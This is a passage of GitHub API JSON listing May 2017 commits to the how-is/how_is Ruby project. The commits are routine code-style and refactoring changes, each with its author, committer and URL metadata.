_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e41b7ee97948a85c9f43623279dc62df1f952271","url":"https://api.github.com/repos/how-is/how_is/commits/e41b7ee97948a85c9f43623279dc62df1f952271","html_url":"https://github.com/how-is/how_is/commit/e41b7ee97948a85c9f43623279dc62df1f952271"}]},{"sha":"e41b7ee97948a85c9f43623279dc62df1f952271","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTQxYjdlZTk3OTQ4YTg1YzlmNDM2MjMyNzlkYzYyZGYxZjk1MjI3MQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:55:46Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:55:46Z"},"message":"[spec_helper] frozen string literals","tree":{"sha":"e42aa84a01f457d78473418f3e2a1cec5dc1af6b","url":"https://api.github.com/repos/how-is/how_is/git/trees/e42aa84a01f457d78473418f3e2a1cec5dc1af6b"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e41b7ee97948a85c9f43623279dc62df1f952271","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e41b7ee97948a85c9f43623279dc62df1f952271","html_url":"https://github.com/how-is/how_is/commit/e41b7ee97948a85c9f43623279dc62df1f952271","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e41b7ee97948a85c9f43623279dc62df1f952271/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"0b2091fef40c1738b44ad1999fb8e9cfda8e5568","url":"https://api.github.com/repos/how-is/how_is/commits/0b2091fef40c1738b44ad1999fb8e9cfda8e5568","html_url":"https://github.com/how-is/how_is/commit/0b2091fef40c1738b44ad1999fb8e9cfda8e5568"}]},{"sha":"0b2091fef40c1738b44ad1999fb8e9cfda8e5568","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MGIyMDkxZmVmNDBjMTczOGI0NGFkMTk5OWZiOGU5Y2ZkYThlNTU2OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:54:51Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:54:51Z"},"message":"[report/base_report] use alias_method, not alias.","tree":{"sha":"72f74c3253f65f382765e956c3da084444cacf2a","url":"https://api.github.com/repos/how-is/how_is/git/trees/72f74c3253f65f382765e956c3da084444cacf2a"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/0b2091fef40c1738b44ad1999fb8e9cfda8e5568","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/0b2091fef40c1738b44ad1999fb8e9cfda8e5568","html_url":"https://github.com/how-is/how_is/commit/0b2091fef40c1738b44ad1999fb8e9cfda8e5568","comments_url":"https://api.github.com/repos/how-is/how_is/commits/0b2091fef40c1738b44ad1999fb8e9cfda8e5568/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"699f5de02e4904fb4e5bb1d0b4282980668f4e5f","url":"https://api.github.com/repos/how-is/how_is/commits/699f5de02e4904fb4e5bb1d0b4282980668f4e5f","html_url":"https://github.com/how-is/how_is/commit/699f5de02e4904fb4e5bb1d0b4282980668f4e5f"}]},{"sha":"699f5de02e4904fb4e5bb1d0b4282980668f4e5f","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6Njk5ZjVkZTAyZTQ5MDRmYjRlNWJiMWQwYjQyODI5ODA2NjhmNGU1Zg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:53:52Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:53:52Z"},"message":"[how_is_spec] comment out unused code, and add comment explaining when it should be uncommented","tree":{"sha":"c2700635167ce698135cee0bc5ffc38aeaf32e83","url":"https://api.github.com/repos/how-is/how_is/git/trees/c2700635167ce698135cee0bc5ffc38aeaf32e83"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/699f5de02e4904fb4e5bb1d0b4282980668f4e5f","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/699f5de02e4904fb4e5bb1d0b4282980668f4e5f","html_url":"https://github.com/how-is/how_is/commit/699f5de02e4904fb4e5bb1d0b4282980668f4e5f","comments_url":"https://api.github.com/repos/how-is/how_is/commits/699f5de02e4904fb4e5bb1d0b4282980668f4e5f/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"3113f3f581e8ddfc711ed65a030c53d31be25e6b","url":"https://api.github.com/repos/how-is/how_is/commits/3113f3f581e8ddfc711ed65a030c53d31be25e6b","html_url":"https://github.com/how-is/how_is/commit/3113f3f581e8ddfc711ed65a030c53d31be25e6b"}]},{"sha":"3113f3f581e8ddfc711ed65a030c53d31be25e6b","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6MzExM2YzZjU4MWU4ZGRmYzcxMWVkNjVhMDMwYzUzZDMxYmUyNWU2Yg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:51:35Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:51:35Z"},"message":"[RuboCop] move config options to write section.","tree":{"sha":"c7e42875e08019f9c06ebc5eaea67ff4fc48b7aa","url":"https://api.github.com/repos/how-is/how_is/git/trees/c7e42875e08019f9c06ebc5eaea67ff4fc48b7aa"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/3113f3f581e8ddfc711ed65a030c53d31be25e6b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/3113f3f581e8ddfc711ed65a030c53d31be25e6b","html_url":"https://github.com/how-is/how_is/commit/3113f3f581e8ddfc711ed65a030c53d31be25e6b","comments_url":"https://api.github.com/repos/how-is/how_is/commits/3113f3f581e8ddfc711ed65a030c53d31be25e6b/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"85111e51243f64d14981c1ab7b9118805b15e380","url":"https://api.github.com/repos/how-is/how_is/commits/85111e51243f64d14981c1ab7b9118805b15e380","html_url":"https://github.com/how-is/how_is/commit/85111e51243f64d14981c1ab7b9118805b15e380"}]},{"sha":"85111e51243f64d14981c1ab7b9118805b15e380","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODUxMTFlNTEyNDNmNjRkMTQ5ODFjMWFiN2I5MTE4ODA1YjE1ZTM4MA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:49:59Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:49:59Z"},"message":"[report/html] assign value of if block to variable","tree":{"sha":"da22ded5281ae696063faf5513eff195a41aeb42","url":"https://api.github.com/repos/how-is/how_is/git/trees/da22ded5281ae696063faf5513eff195a41aeb42"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/85111e51243f64d14981c1ab7b9118805b15e380","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/85111e51243f64d14981c1ab7b9118805b15e380","html_url":"https://github.com/how-is/how_is/commit/85111e51243f64d14981c1ab7b9118805b15e380","comments_url":"https://api.github.com/repos/how-is/how_is/commits/85111e51243f64d14981c1ab7b9118805b15e380/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"ec56edc09fd981b587f8fff92e7b59966da5f24a","url":"https://api.github.com/repos/how-is/how_is/commits/ec56edc09fd981b587f8fff92e7b59966da5f24a","html_url":"https://github.com/how-is/how_is/commit/ec56edc09fd981b587f8fff92e7b59966da5f24a"}]},{"sha":"ec56edc09fd981b587f8fff92e7b59966da5f24a","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZWM1NmVkYzA5ZmQ5ODFiNTg3ZjhmZmY5MmU3YjU5OTY2ZGE1ZjI0YQ==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:48:59Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:48:59Z"},"message":"[report/html] use .call() instead of .()","tree":{"sha":"f3b5b3fabb3561a365f1f2c6f50731a645669665","url":"https://api.github.com/repos/how-is/how_is/git/trees/f3b5b3fabb3561a365f1f2c6f50731a645669665"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/ec56edc09fd981b587f8fff92e7b59966da5f24a","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/ec56edc09fd981b587f8fff92e7b59966da5f24a","html_url":"https://github.com/how-is/how_is/commit/ec56edc09fd981b587f8fff92e7b59966da5f24a","comments_url":"https://api.github.com/repos/how-is/how_is/commits/ec56edc09fd981b587f8fff92e7b59966da5f24a/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"e3ea859a67bd0de8f62a840567a31b95a56b7c78","url":"https://api.github.com/repos/how-is/how_is/commits/e3ea859a67bd0de8f62a840567a31b95a56b7c78","html_url":"https://github.com/how-is/how_is/commit/e3ea859a67bd0de8f62a840567a31b95a56b7c78"}]},{"sha":"e3ea859a67bd0de8f62a840567a31b95a56b7c78","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ZTNlYTg1OWE2N2JkMGRlOGY2MmE4NDA1NjdhMzFiOTVhNTZiN2M3OA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:48:16Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:48:16Z"},"message":"[how_is/analyzer] use += instead of = then +","tree":{"sha":"3bacb569567ad96416cee3983755245ac1be5e63","url":"https://api.github.com/repos/how-is/how_is/git/trees/3bacb569567ad96416cee3983755245ac1be5e63"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/e3ea859a67bd0de8f62a840567a31b95a56b7c78","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/e3ea859a67bd0de8f62a840567a31b95a56b7c78","html_url":"https://github.com/how-is/how_is/commit/e3ea859a67bd0de8f62a840567a31b95a56b7c78","comments_url":"https://api.github.com/repos/how-is/how_is/commits/e3ea859a67bd0de8f62a840567a31b95a56b7c78/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","url":"https://api.github.com/repos/how-is/how_is/commits/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","html_url":"https://github.com/how-is/how_is/commit/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac"}]},{"sha":"6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NmFlMDQxMjYwZjk3OWM1YjliN2Y1YjkwZmE1YzllN2RlZTE3MzZhYw==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:46:18Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:46:18Z"},"message":"[RuboCop] prefer alias_method over alias","tree":{"sha":"0f4d17654c0b246a15d0b2586483abac8cc58a20","url":"https://api.github.com/repos/how-is/how_is/git/trees/0f4d17654c0b246a15d0b2586483abac8cc58a20"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","html_url":"https://github.com/how-is/how_is/commit/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac","comments_url":"https://api.github.com/repos/how-is/how_is/commits/6ae041260f979c5b9b7f5b90fa5c9e7dee1736ac/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"4689a4f958a408af82adae2212a397852051c316","url":"https://api.github.com/repos/how-is/how_is/commits/4689a4f958a408af82adae2212a397852051c316","html_url":"https://github.com/how-is/how_is/commit/4689a4f958a408af82adae2212a397852051c316"}]},{"sha":"4689a4f958a408af82adae2212a397852051c316","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6NDY4OWE0Zjk1OGE0MDhhZjgyYWRhZTIyMTJhMzk3ODUyMDUxYzMxNg==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:34:53Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:34:53Z"},"message":"[how_is/pulse] remove unnecessary argument","tree":{"sha":"7ce79b1bf320897ed87bcb838796eb65f4b11435","url":"https://api.github.com/repos/how-is/how_is/git/trees/7ce79b1bf320897ed87bcb838796eb65f4b11435"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/4689a4f958a408af82adae2212a397852051c316","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/4689a4f958a408af82adae2212a397852051c316","html_url":"https://github.com/how-is/how_is/commit/4689a4f958a408af82adae2212a397852051c316","comments_url":"https://api.github.com/repos/how-is/how_is/commits/4689a4f958a408af82adae2212a397852051c316/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"committer":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/duckinator/received_events","type":"User","site_admin":false},"parents":[{"sha":"8933837ae4800c2f55e65ea9db861c9b39b47abd","url":"https://api.github.com/repos/how-is/how_is/commits/8933837ae4800c2f55e65ea9db861c9b39b47abd","html_url":"https://github.com/how-is/how_is/commit/8933837ae4800c2f55e65ea9db861c9b39b47abd"}]},{"sha":"8933837ae4800c2f55e65ea9db861c9b39b47abd","node_id":"MDY6Q29tbWl0NTQyOTUyNDM6ODkzMzgzN2FlNDgwMGMyZjU1ZTY1ZWE5ZGI4NjFjOWIzOWI0N2FiZA==","commit":{"author":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:33:33Z"},"committer":{"name":"Ellen Marie Dash","email":"me@duckie.co","date":"2017-05-26T09:33:33Z"},"message":"[how_is/fetcher] don''t use unless as a modifier on multi-line statement.","tree":{"sha":"bc1a9fee4fc9319b23c58af8b212b991b0a4e489","url":"https://api.github.com/repos/how-is/how_is/git/trees/bc1a9fee4fc9319b23c58af8b212b991b0a4e489"},"url":"https://api.github.com/repos/how-is/how_is/git/commits/8933837ae4800c2f55e65ea9db861c9b39b47abd","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/how-is/how_is/commits/8933837ae4800c2f55e65ea9db861c9b39b47abd","html_url":"https://github.com/how-is/how_is/commit/8933837ae4800c2f55e65ea9db861c9b39b47abd","comments_url":"https://api.github.com/repos/how-is/how_is/commits/8933837ae4800c2f55e65ea9db861c9b39b47abd/comments","author":{"login":"duckinator","id":39698,"node_id":"MDQ6VXNlcjM5Njk4","avatar_url":"https://avatars3.githubusercontent.com/u/39698?v=4","gravatar_id":"","url":"https://api.github.com/users/duckinator","html_url":"https://github.com/duckinator","followers_url":"https://api.github.com/users/duckinator/followers","following_url":"https://api.github.com/users/duckinator/following{/other_user}","gists_url":"https://api.github.com/users/duckinator/gists{/gist_id}","starred_url":"https://api.github.com/users/duckinator/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/duckinator/subscriptions","organizations_url":"https://api.github.com/users/duckinator/orgs","repos_url":"https://api.github.com/users/duckinator/repos","events_url":"https://api.github.com/users/duckinator/events{/privacy}","received_events_url":"https://api.github.com/users/